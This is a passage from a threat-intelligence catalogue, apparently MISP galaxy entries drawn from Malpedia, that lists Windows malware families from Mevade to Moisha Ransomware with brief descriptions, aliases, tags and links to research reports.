https://news.sophos.com/en-us/2022/08/18/cookie-stealing-the-new-perimeter-bypass
https://unit42.paloaltonetworks.com/atoms/obscureserpens/
https://github.com/StrangerealIntel/CyberThreatIntel/blob/master/China/APT/Chimera/Analysis.md
https://blog.talosintelligence.com/2022/05/mustang-panda-targets-europe.html
https://www.wired.com/story/russias-fancy-bear-hack-us-federal-agency/
http://www.secureworks.com/research/threat-profiles/gold-winter
https://www.cynet.com/attack-techniques-hands-on/threats-looming-over-the-horizon/
https://www.recordedfuture.com/chinese-group-calypso-exploiting-microsoft-exchange/

https://blog.morphisec.com/fin7-attacks-restaurant-industry
https://cybleinc.com/2020/11/17/oceanlotus-continues-with-its-cyber-espionage-operations/
https://news.sophos.com/en-us/2021/06/02/amsi-bypasses-remain-tricks-of-the-malware-trade/
https://www.bleepingcomputer.com/news/security/log4j-vulnerability-now-used-to-install-dridex-banking-malware/
https://blog.lumen.com/no-longer-just-theory-black-lotus-labs-uncovers-linux-executables-deployed-as-stealth-windows-loaders/
http://schierlm.users.sourceforge.net/avevasion.html
https://research.checkpoint.com/2022/dangeroussavanna-two-year-long-campaign-targets-financial-institutions-in-french-speaking-africa/
https://us-cert.cisa.gov/ncas/alerts/aa20-301a
https://www.elastic.co/security-labs/cuba-ransomware-campaign-analysis
https://www.countercraftsec.com/blog/post/shellcode-detection-using-realtime-kernel-monitoring/
https://go.recordedfuture.com/hubfs/reports/cta-2021-0107.pdf
http://www.secureworks.com/research/threat-profiles/gold-franklin
https://asec.ahnlab.com/ko/26705/
https://us-cert.cisa.gov/ncas/analysis-reports/ar20-268a

Mevade

A botnet that used Tor .onion links for C&C.

The tag is: *misp-galaxy:malpedia="Mevade"*

Mevade is also known as:

- SBC
- Sefnit

Table 2598. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mevade
https://www.mcafee.com/blogs/other-blogs/mcafee-labs/sefnit-trojan-just/
https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf
https://blog.fox-it.com/2013/09/05/large-botnet-cause-of-recent-tor-network-overload/
https://www.youtube.com/watch?v=FttiysUZmDw

Mewsei

The tag is: *misp-galaxy:malpedia="Mewsei"*

Mewsei is also known as:

Table 2599. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mewsei

MgBot

The tag is: *misp-galaxy:malpedia="MgBot"*

MgBot is also known as:

- BLame
- MgmBot

Table 2600. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mgbot
https://vb2020.vblocalhost.com/uploads/VB2020-43.pdf
https://blog.malwarebytes.com/threat-analysis/2020/07/chinese-apt-group-targets-india-and-hong-kong-using-new-variant-of-mgbot-malware
https://twitter.com/GossiTheDog/status/1438500100238577670
https://blog.malwarebytes.com/threat-analysis/2020/07/chinese-apt-group-targets-india-and-hong-kong-using-new-variant-of-mgbot-malware/
https://www.youtube.com/watch?v=LeKi0KfzOow&list=PLffioUnqXWkdzWcZXH-bzPVgcs2R4r7iS&index=1&t=2154s

Miancha

The tag is: *misp-galaxy:malpedia="Miancha"*

Miancha is also known as:

Table 2601. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.miancha

Micrass

The tag is: *misp-galaxy:malpedia="Micrass"*

Micrass is also known as:

Table 2602. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.micrass
https://researchcenter.paloaltonetworks.com/2016/09/mile-tea-cyber-espionage-campaign-targets-asia-pacific-businesses-and-government-agencies/

MicroBackdoor

Open-source lightweight backdoor for C2 communication. GitHub: https://github.com/Cr4sh/MicroBackdoor

The tag is: *misp-galaxy:malpedia="MicroBackdoor"*

MicroBackdoor is also known as:

Table 2603. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.microbackdoor
https://www.cybercom.mil/Media/News/Article/3098856/cyber-national-mission-force-discloses-iocs-from-ukrainian-networks/
https://github.com/cr4sh/microbackdoor
https://cert.gov.ua/article/37626
https://inquest.net/blog/2022/04/07/ukraine-cyberwar-overview
https://cip.gov.ua/en/news/khto-stoyit-za-kiberatakami-na-ukrayinsku-kritichnu-informaciinu-infrastrukturu-statistika-15-22-bereznya
https://ti.qianxin.com/blog/articles/Analysis-of-attack-activities-of-suspected-aptorganization-unc1151-against-ukraine-and-other-countries/
https://attackiq.com/2022/04/29/attack-graph-response-to-unc1151-continued-targeting-of-ukraine/
https://www.mandiant.com/resources/spear-phish-ukrainian-entities
https://cluster25.io/2022/03/08/ghostwriter-unc1151-adopts-microbackdoor-variants-in-cyber-operations-against-targets-in-ukraine/

Microcin

The tag is: *misp-galaxy:malpedia="Microcin"*

Microcin is also known as:

Table 2604. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.microcin
https://st.drweb.com/static/new-www/news/2020/july/Study_of_the_APT_attacks_on_state_institutions_in_Kazakhstan_and_Kyrgyzstan_en.pdf
https://securelist.com/a-simple-example-of-a-complex-cyberattack/82636/
https://decoded.avast.io/luigicamastra/apt-group-planted-backdoors-targeting-high-profile-networks-in-central-asia/
https://github.com/dlegezo/common
https://securelist.com/microcin-is-here/97353/
https://decoded.avast.io/luigicamastra/apt-group-planted-backdoors-targeting-high-profile-networks-in-central-asia
https://www.welivesecurity.com/2021/03/10/exchange-servers-under-siege-10-apt-groups/
https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf
https://www.welivesecurity.com/2020/05/14/mikroceen-spying-backdoor-high-profile-networks-central-asia
https://securelist.com/apt-trends-report-q2-2019/91897/
https://www.welivesecurity.com/2020/05/14/mikroceen-spying-backdoor-high-profile-networks-central-asia/
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07170759/Microcin_Technical_4PDF_eng_final_s.pdf
https://securelist.com/microcin-is-here/97353
https://securelist.com/a-simple-example-of-a-complex-cyberattack/82636

Micropsia

This malware written in Delphi is an information stealing malware family dubbed "MICROPSIA". It has s wide range of data theft functionality built in.

The tag is: *misp-galaxy:malpedia="Micropsia"*

Micropsia is also known as:

Table 2605. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.micropsia
https://blog.talosintelligence.com/2022/02/arid-viper-targets-palestine.html

https://about.fb.com/wp-content/uploads/2021/04/Technical-threat-report-Arid-Viper-April-2021.pdf
http://blog.talosintelligence.com/2017/06/palestine-delphi.html
https://github.com/jeFF0Falltrades/IoCs/blob/master/APT/micropsia_apt_c_23.md
https://research.checkpoint.com/apt-attack-middle-east-big-bang/
http://researchcenter.paloaltonetworks.com/2017/04/unit42-targeted-attacks-middle-east-using-kasperagent-micropsia/

Midas

This malware written in C# is a variant of the Thanos ransomware family and emerged in October 2021 and is obfuscated using SmartAssembly. In 2022, ThreatLabz analysed a report of Midas ransomware was slowly deployed over a two month period (ZScaler). This ransomware features also its own data leak site as part of its double extortion strategy.

The tag is: *misp-galaxy:malpedia="Midas"*

Midas is also known as:

Table 2606. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.midas
https://www.zscaler.com/blogs/security-research/midas-ransomware-tracing-evolution-thanos-ransomware-variants
https://securityboulevard.com/2022/03/midas-ransomware-tracing-the-evolution-of-thanos-ransomware-variants/
https://news.sophos.com/en-us/2022/01/25/windows-services-lay-the-groundwork-for-a-midas-ransomware-attack/

Mikoponi

The tag is: *misp-galaxy:malpedia="Mikoponi"*

Mikoponi is also known as:

Table 2607. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mikoponi
https://www.anomali.com/blog/targeted-ransomware-activity

Milan

The tag is: *misp-galaxy:malpedia="Milan"*

Milan is also known as:

Table 2608. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.milan
https://www.prevailion.com/latest-targets-of-cyber-group-lyceum/
https://www.clearskysec.com/wp-content/uploads/2021/08/Siamesekitten.pdf

MILKMAID

The tag is: *misp-galaxy:malpedia="MILKMAID"*

MILKMAID is also known as:

Table 2609. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.milkmaid
https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf

Milum

In August 2019, Kaspersky Labs discovered a malware they dubbed Milum (naming based on internal file name fragments) when investigating an operation they named WildPressure. It is written in C++ using STL, primarily to parse JSON. Functionality includes bidirectional file transmission and remote command execution.

The tag is: *misp-galaxy:malpedia="Milum"*

Milum is also known as:

Table 2610. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.milum
https://ics-cert.kaspersky.com/media/KASPERSKY_H1_2020_ICS_REPORT_EN.pdf
https://securelist.com/wildpressure-targets-macos/103072/
https://securelist.com/wildpressure-targets-industrial-in-the-middle-east/96360/

MimiKatz

Varonis summarizes Mimikatz as an open-source application that allows users to view and save authentication credentials like Kerberos tickets. Benjamin Delpy continues to lead Mimikatz developments, so the toolset works with the current release of Windows and includes the most up-to-date attacks.

Attackers commonly use Mimikatz to steal credentials and escalate privileges: in most cases, endpoint protection software and anti-virus systems will detect and delete it. Conversely, pentesters use Mimikatz to detect and exploit vulnerabilities in your networks so you can fix them.

The tag is: *misp-galaxy:malpedia="MimiKatz"*

MimiKatz is also known as:

Table 2611. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mimikatz
https://www.accenture.com/us-en/blogs/security/ransomware-hades
https://decoded.avast.io/luigicamastra/apt-group-planted-backdoors-targeting-high-profile-networks-in-central-asia
https://www.welivesecurity.com/2022/09/06/worok-big-picture/
https://www.secureworks.com/research/samsam-ransomware-campaigns
https://www.secureworks.com/research/threat-profiles/tin-woodlawn
https://www.microsoft.com/security/blog/2022/07/26/malicious-iis-extensions-quietly-open-persistent-backdoors-into-servers/
http://blog.gentilkiwi.com/securite/un-observateur-evenements-aveugle
http://www.secureworks.com/research/threat-profiles/gold-kingswood
https://www.hvs-consulting.de/lazarus-report/
https://www.welivesecurity.com/2020/05/21/no-game-over-winnti-group/
https://paraflare.com/attack-lifecycle-detection-of-an-operational-technology-breach/
https://cert.ssi.gouv.fr/uploads/20220427_NP_TLPWHITE_ANSSI_FIN7.pdf
https://www.cisa.gov/uscert/ncas/alerts/aa22-152a
https://unit42.paloaltonetworks.com/atoms/obscureserpens/
https://assets.virustotal.com/reports/2021trends.pdf
https://www.mandiant.com/resources/mandiant-red-team-emulates-fin11-tactics
https://www.theta.co.nz/news-blogs/cyber-security-blog/snakes-ladders-the-offensive-use-of-python-on-windows/
https://attack.mitre.org/groups/G0011
https://attackiq.com/2022/06/03/attack-graph-response-to-us-cert-aa22-152a-karakurt-data-extortion-group/
http://www.secureworks.com/research/threat-profiles/gold-drake
https://ics-cert.kaspersky.com/media/KASPERSKY_Steganography_in_targeted_attacks_EN.pdf
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/microsoft-exchange-server-protection

https://www.fireeye.com/blog/threat-research/2021/08/unc215-chinese-espionage-campaign-in-israel.html
https://www.mandiant.com/resources/unc215-chinese-espionage-campaign-in-israel
https://www.secureworks.com/research/threat-profiles/bronze-atlas
https://www.breachquest.com/conti-leaks-insight-into-a-ransomware-unicorn/
https://noticeofpleadings.com/nickel/[https://noticeofpleadings.com/nickel/]
https://us-cert.cisa.gov/ncas/alerts/aa20-275a
https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/
https://www.mcafee.com/blogs/enterprise/mcafee-enterprise-atr/operation-harvest-a-deep-dive-into-a-long-term-campaign/
https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2019/presentations/cds19-executive-s08-achievement-unlocked.pdf
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/china-apt-antlion-taiwan-financial-attacks
https://www.secureworks.com/research/threat-profiles/gold-drake
https://ti.qianxin.com/blog/articles/Operation-OceanStorm:The-OceanLotus-hidden-under-the-abyss-of-the-deep/
https://attack.mitre.org/groups/G0096
http://www.secureworks.com/research/threat-profiles/gold-franklin
https://symantec-blogs.broadcom.com/blogs/threat-intelligence/elfin-apt33-espionage
https://www.microsoft.com/security/blog/2021/12/06/nickel-targeting-government-organizations-across-latin-america-and-europe/
https://www.infinitumit.com.tr/apt-35/
https://blog.xpnsec.com/exploring-mimikatz-part-1/
https://www.cisa.gov/uscert/sites/default/files/publications/AA22-152A_Karakurt_Data_Extortion_Group.pdf
https://news.sophos.com/en-us/2021/05/18/the-active-adversary-playbook-2021/?cmp=37153
https://www.devo.com/blog/detect-and-investigate-hafnium-using-devo/
https://www.ic3.gov/Media/News/2021/210527.pdf
https://www.sentinelone.com/blog/detecting-a-rogue-domain-controller-dcshadow-attack/
https://www.secureworks.com/research/bronze-vinewood-targets-supply-chains
https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf
https://news.sophos.com/en-us/2022/08/18/cookie-stealing-the-new-perimeter-bypass
https://www.wired.com/story/how-mimikatz-became-go-to-hacker-tool/
https://www.ic3.gov/media/news/2020/200917-1.pdf
https://www.mandiant.com/resources/unc2165-shifts-to-evade-sanctions

https://i.blackhat.com/USA-20/Thursday/us-20-Chen-Operation-Chimera-APT-Operation-Targets-Semiconductor-Vendors.pdf
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/grayfly-china-sidewalk-malware
https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/incident-response-polar-ransomware-apt27/
https://lab52.io/blog/the-energy-reserves-in-the-eastern-mediterranean-sea-and-a-malicious-campaign-of-apt10-against-turkey/
https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-blackbasta
https://www.accenture.com/us-en/blogs/cyber-defense/moving-left-ransomware-boom
https://blog.talosintelligence.com/2020/02/building-bypass-with-msbuild.html
https://twitter.com/swisscom_csirt/status/1354052879158571008
https://github.com/gentilkiwi/mimikatz
https://i.blackhat.com/eu-20/Wednesday/eu-20-Clarke-Its-Not-FINished-The-Evolving-Maturity-In-Ransomware-Operations.pdf
https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf
https://www.elastic.co/security-labs/cuba-ransomware-campaign-analysis
https://www.cybereason.com/blog/deadringer-exposing-chinese-threat-actors-targeting-major-telcos
https://securelist.com/the-sessionmanager-iis-backdoor/106868/
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/espionage-campaign-telecoms-asia-middle-east
https://www.verfassungsschutz.de/download/broschuere-2021-01-bfv-cyber-brief-2021-01.pdf
https://blogs.blackberry.com/en/2022/09/the-curious-case-of-monti-ransomware-a-real-world-doppelganger
https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/
https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-ransomexx
https://www.trendmicro.com/en_us/research/21/a/targeted-attack-using-chopper-aspx-web-shell-exposed-via-managed.html
https://attack.mitre.org/groups/G0034
https://www.secureworks.com/research/threat-profiles/gold-kingswood
https://www.trendmicro.com/en_us/research/21/i/examining-the-cring-ransomware-techniques.html
https://yoroi.company/research/shadows-from-the-past-threaten-italian-enterprises/

https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/cicada-apt10-china-ngo-government-attacks
https://www.secureworks.com/research/threat-profiles/cobalt-hickman
https://awakesecurity.com/blog/catching-the-white-stork-in-flight/
https://www.crowdstrike.com/blog/overwatch-elite-call-escalation-vital-to-containing-attack/
https://www.matteomalvica.com/blog/2020/01/30/mimikatz-lsass-dump-windg-pykd/
https://www.slideshare.net/yurikamuraki5/active-directory-240348605
https://www.rsa.com/content/dam/en/white-paper/the-shadows-of-ghosts-carbanak-report.pdf
https://volatility-labs.blogspot.com/2021/10/memory-forensics-r-illustrated.html
https://www.microsoft.com/security/blog/2022/08/25/mercury-leveraging-log4j-2-vulnerabilities-in-unpatched-systems-to-target-israeli-organizations
https://resource.redcanary.com/rs/003-YRU-314/images/2021-Threat-Detection-Report.pdf
https://hub.dragos.com/hubfs/116-Whitepapers/Dragos_Intel_WP_InitAccess-IndEnvirons-Final.pdf
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/espionage-asia-governments
https://medium.com/cycraft/taiwan-high-tech-ecosystem-targeted-by-foreign-apt-group-5473d2ad8730
https://www.splunk.com/en_us/blog/security/you-bet-your-lsass-hunting-lsass-access.html
https://www.welivesecurity.com/2021/03/10/exchange-servers-under-siege-10-apt-groups/
https://www.bsi.bund.de/SharedDocs/Downloads/DE/BSI/Cyber-Sicherheit/Vorfaelle/Exchange-Schwachstellen-2021/MSExchange_Schwachstelle_Detektion_Reaktion.pdf
https://www.secureworks.com/research/threat-profiles/bronze-vinewood
https://raw.githubusercontent.com/yt0ng/cracking_softcell/main/Cracking_SOFTCLL_TLP_WHITE.pdf
https://www.secureworks.com/blog/ransomware-deployed-by-adversary
https://www.hvs-consulting.de/media/downloads/ThreatReport-Lazarus.pdf
https://www.varonis.com/blog/hive-ransomware-analysis
https://www.accenture.com/us-en/blogs/cyber-defense/double-extortion-campaigns
https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/locked-loaded-and-in-the-wrong-hands-legitimate-tools-weaponized-for-ransomware-in-2021
https://www.microsoft.com/security/blog/2021/11/18/iranian-targeting-of-it-sector-on-the-rise/
https://blog.reversinglabs.com/blog/threat-analysis-follina-exploit-powers-live-off-the-land-attacks
https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf
https://www.verfassungsschutz.de/embed/broschuere-2020-06-bfv-cyber-brief-2020-01.pdf
https://symantec-blogs.broadcom.com/blogs/threat-intelligence/leafminer-espionage-middle-east

https://www.wired.com/story/chinese-hackers-taiwan-semiconductor-industry-skeleton-key/
https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers
https://www.infinitumit.com.tr/en/conti-ransomware-group-behind-the-karakurt-hacking-team/
https://www.zdnet.com/article/fbi-says-an-iranian-hacking-group-is-attacking-f5-networking-devices/
https://www.crowdstrike.com/blog/carbon-spider-sprite-spider-target-esxi-servers-with-ransomware/?utm_campaign=blog&utm_medium=soc&utm_source=twtr&utm_content=sprout
https://www.secureworks.com/blog/ongoing-campaign-leveraging-exchange-vulnerability-potentially-linked-to-iran
https://adeo.com.tr/wp-content/uploads/2020/02/APT10_Report.pdf
https://blog.redteam.pl/2020/05/sodinokibi-revil-ransomware.html
https://thedfirreport.com/2020/08/31/netwalker-ransomware-in-1-hour/
https://www.crowdstrike.com/blog/credential-theft-mimikatz-techniques/
https://blog.talosintelligence.com/2022/06/avoslocker-new-arsenal.html
https://www.symantec.com/connect/blogs/odinaff-new-trojan-used-high-level-financial-attacks
https://www.f-secure.com/content/dam/f-secure/en/consulting/our-thinking/collaterals/digital/f-secure-consulting-incident-readiness-proactive-response-guide-2020.pdf
https://www.ic3.gov/Media/News/2021/210823.pdf
http://www.secureworks.com/research/threat-profiles/gold-burlap
https://twitter.com/inversecos/status/1456486725664993287
https://labs.f-secure.com/blog/catching-lazarus-threat-intelligence-to-real-detection-logic-part-two
https://5851803.fs1.hubspotusercontent-na1.net/hubfs/5851803/Russian%20Ransomware%20C2%20Network%20Discovered%20in%20Censys%20Data.pdf
https://bitdefender.com/files/News/CaseStudies/study/332/Bitdefender-Whitepaper-Chafer-creat4491-en-EN-interactive.pdf
https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=5758557d-6e3a-4174-90f3-fa92a712ecd9&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments
https://symantec-blogs.broadcom.com/blogs/threat-intelligence/chafer-latest-attacks-reveal-heightened-ambitions

Mindware

Ransomware, potential rebranding of win.sfile.

The tag is: *misp-galaxy:malpedia="Mindware"*

Mindware is also known as:

Table 2612. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mindware
https://www.sentinelone.com/blog/from-the-front-lines-another-rebrand-mindware-and-sfile-ransomware-technical-breakdown/

MINEBRIDGE

The tag is: *misp-galaxy:malpedia="MINEBRIDGE"*

MINEBRIDGE is also known as:

- GazGolder

Table 2613. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.minebridge
https://blog.morphisec.com/minebridge-on-the-rise-sophisticated-delivery-mechanism
https://www.zscaler.com/blogs/security-research/return-minebridge-rat-new-ttps-and-social-engineering-lures
https://www.fireeye.com/blog/threat-research/2020/01/stomp-2-dis-brilliance-in-the-visual-basics.html
https://www.zscaler.com/blogs/security-research/demystifying-full-attack-chain-minebridge-rat
https://labs.sentinelone.com/breaking-ta505s-crypter-with-an-smt-solver/
https://www.bleepingcomputer.com/news/security/windows-finger-command-abused-by-phishing-to-download-malware/

MiniASP

The tag is: *misp-galaxy:malpedia="MiniASP"*

MiniASP is also known as:

Table 2614. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.miniasp
https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf

MiniDuke

The tag is: *misp-galaxy:malpedia="MiniDuke"*

MiniDuke is also known as:

Table 2615. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.miniduke
https://www.carbonblack.com/2020/03/26/the-dukes-of-moscow/
https://www.circl.lu/files/tr-14/circl-analysisreport-miniduke-stage3-public.pdf
https://www.secureworks.com/research/threat-profiles/iron-hemlock
https://kindredsec.wordpress.com/2019/08/12/an-overview-of-public-platform-c2s/
https://www.fireeye.com/blog/threat-research/2013/02/its-a-kind-of-magic-1.html
https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf
https://kindredsec.com/2019/08/12/an-overview-of-public-platform-c2s/
https://cybergeeks.tech/how-to-defeat-the-russian-dukes-a-step-by-step-analysis-of-miniduke-used-by-apt29-cozy-bear/

MiniStealer

The tag is: *misp-galaxy:malpedia="MiniStealer"*

MiniStealer is also known as:

Table 2616. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ministealer
https://blog.cyble.com/2022/08/29/mini-stealer-possible-predecessor-of-parrot-stealer/

Mirage

The tag is: *misp-galaxy:malpedia="Mirage"*

Mirage is also known as:

Table 2617. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mirage
https://st.drweb.com/static/new-www/news/2020/july/Study_of_the_APT_attacks_on_state_institutions_in_Kazakhstan_and_Kyrgyzstan_en.pdf
https://www.intezer.com/miragefox-apt15-resurfaces-with-new-tools-based-on-old-ones/
https://web.archive.org/web/20200509171721/https://raw.githubusercontent.com/fdiskyou/threat-INTel/master/2015/GlobalThreatIntelReport.pdf

https://www.secureworks.com/research/threat-profiles/bronze-palace

MirageFox

The tag is: *misp-galaxy:malpedia="MirageFox"*

MirageFox is also known as:

Table 2618. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.miragefox
https://www.intezer.com/miragefox-apt15-resurfaces-with-new-tools-based-on-old-ones/

Mirai (Windows)

The tag is: *misp-galaxy:malpedia="Mirai (Windows)"*

Mirai (Windows) is also known as:

Table 2619. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mirai
https://securelist.com/blog/research/77621/newish-mirai-spreader-poses-new-risks/
https://unit42.paloaltonetworks.com/moobot-d-link-devices/
https://dev.azure.com/Mastadamus/Mirai%20Botnet%20Analysis/_wiki/wikis/Mirai-Botnet-Analysis.wiki/12/Anatomy-of-An-Mirai-Botnet-Attack
https://blog.netlab.360.com/wo-men-kan-dao-de-wu-ke-lan-bei-ddosgong-ji-xi-jie/
https://enterprise.verizon.com/resources/reports/2019-data-breach-investigations-report.pdf
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/tough-times-for-ukrainian-honeypot/
https://assets.virustotal.com/reports/2021trends.pdf
https://www.incapsula.com/blog/new-mirai-variant-ddos-us-college.html
https://blog.netlab.360.com/public-cloud-threat-intelligence-202203/
https://twitter.com/PhysicalDrive0/status/830070569202749440

MirrorBlast

The tag is: *misp-galaxy:malpedia="MirrorBlast"*

MirrorBlast is also known as:

Table 2620. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mirrorblast
https://blog.morphisec.com/explosive-new-mirrorblast-campaign-targets-financial-companies
https://www.proofpoint.com/us/blog/threat-insight/whatta-ta-ta505-ramps-activity-delivers-new-flawedgrace-variant
https://www.proofpoint.com/us/daily-ruleset-update-summary-20210924
https://threatresearch.ext.hp.com/mirrorblast-and-ta505-examining-similarities-in-tactics-techniques-and-procedures/
https://frsecure.com/blog/the-rebol-yell-new-rebol-exploit/

Misdat

The tag is: *misp-galaxy:malpedia="Misdat"*

Misdat is also known as:

Table 2621. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.misdat
https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf

Misfox

The tag is: *misp-galaxy:malpedia="Misfox"*

Misfox is also known as:

- MixFox
- ModPack

Table 2622. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.misfox

Misha

Undocumented information stealer targeting multiple browsers and cryptocurrences. Internal project name appears to be "misha".

The tag is: *misp-galaxy:malpedia="Misha"*

Misha is also known as:

Table 2623. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.misha
https://bazaar.abuse.ch/sample/efab8bfe43de6edf96f9451a5a2cc15017cfc5c88f81b46b33e6ba5c7e2d7a7b/

Mispadu

According to ESET Research, Mispadu is an ambitious Latin American banking trojan that utilizes McDonald's malvertising and extends its attack surface to web browsers. It is used to target the general public and its main goals are monetary and credential theft. In Brazil, ESET has seen it distributing a malicious Google Chrome extension that attempts to steal credit card data and online banking data, and that compromises the Boleto payment system.

The tag is: *misp-galaxy:malpedia="Mispadu"*

Mispadu is also known as:

- URSA

Table 2624. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mispadu
https://www.welivesecurity.com/2019/11/19/mispadu-advertisement-discounted-unhappy-meal/
https://seguranca-informatica.pt/threat-analysis-the-emergent-ursa-trojan-impacts-many-countries-using-a-sophisticated-loader/
https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/mispadu-banking-trojan-resurfaces
https://seguranca-informatica.pt/ursa-trojan-is-back-with-a-new-dance/ .YyXEkaRBzIU[https://seguranca-informatica.pt/ursa-trojan-is-back-with-a-new-dance/.YyXEkaRBzIU]

MISTYVEAL

The tag is: *misp-galaxy:malpedia="MISTYVEAL"*

MISTYVEAL is also known as:

Table 2625. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mistyveal
https://www.epicturla.com/previous-works/hitb2020-voltron-sta

https://research.checkpoint.com/2021/a-deep-dive-into-doublefeature-equation-groups-post-exploitation-dashboard/

Miuref

The tag is: *misp-galaxy:malpedia="Miuref"*

Miuref is also known as:

Table 2626. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.miuref

MMON

The tag is: *misp-galaxy:malpedia="MMON"*

MMON is also known as:

- Kaptoxa

Table 2627. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mmon
http://reversing.fun/posts/2022/01/02/mmon.html

MM Core

The tag is: *misp-galaxy:malpedia="MM Core"*

MM Core is also known as:

Table 2628. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mm_core

MobiRAT

The tag is: *misp-galaxy:malpedia="MobiRAT"*

MobiRAT is also known as:

Table 2629. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.mobi_rat
https://blog.malwarebytes.com/threat-analysis/2017/07/malware-abusing-ffmpeg/

Mocton

The tag is: *misp-galaxy:malpedia="Mocton"*

Mocton is also known as:

Table 2630. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mocton

ModernLoader

The tag is: *misp-galaxy:malpedia="ModernLoader"*

ModernLoader is also known as:

- AvatarBot

Table 2631. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.modern_loader
https://blog.talosintelligence.com/2022/08/modernloader-delivers-multiple-stealers.html

MoDi RAT

The tag is: *misp-galaxy:malpedia="MoDi RAT"*

MoDi RAT is also known as:

Table 2632. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.modirat
https://news.sophos.com/en-us/2020/09/24/email-delivered-modi-rat-attack-pastes-powershell-commands/

ModPipe

ModPipe is point-of-sale (POS) malware capable of accessing sensitive information stored in devices running ORACLE MICROS Restaurant Enterprise Series (RES) 3700 POS – a management software suite used by hundreds of thousands of bars, restaurants, hotels and other hospitality establishments worldwide. ModPipe uses modular architecture consisting of basic components and downloadable modules. One of them – named GetMicInfo – contains an algorithm designed to gather database passwords by decrypting them from Windows registry values. Exfiltrated credentials allow ModPipe's operators access to database contents, including various definitions and configuration, status tables and information about POS transactions.

The tag is: *misp-galaxy:malpedia="ModPipe"*

ModPipe is also known as:

Table 2633. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.modpipe
https://www.welivesecurity.com/2020/11/12/hungry-data-modpipe-backdoor-hits-pos-software-hospitality-sector/
https://www.foregenix.com/blog/modpipe-malware-has-a-new-module-that-siphons-payment-card-data
https://www.kroll.com/en/insights/publications/cyber/modpipe-pos-malware-new-hooking-targets-extract-card-data

ModPOS

The tag is: *misp-galaxy:malpedia="ModPOS"*

ModPOS is also known as:

- straxbot

Table 2634. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.modpos
https://www.fireeye.com/blog/threat-research/2015/11/modpos.html
https://twitter.com/physicaldrive0/status/670258429202530306

Mofksys

The tag is: *misp-galaxy:malpedia="Mofksys"*

Mofksys is also known as:

Table 2635. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mofksys
https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/PE_MOFKSYS.A/

Moisha Ransomware

The tag is: *misp-galaxy:malpedia="Moisha Ransomware"*

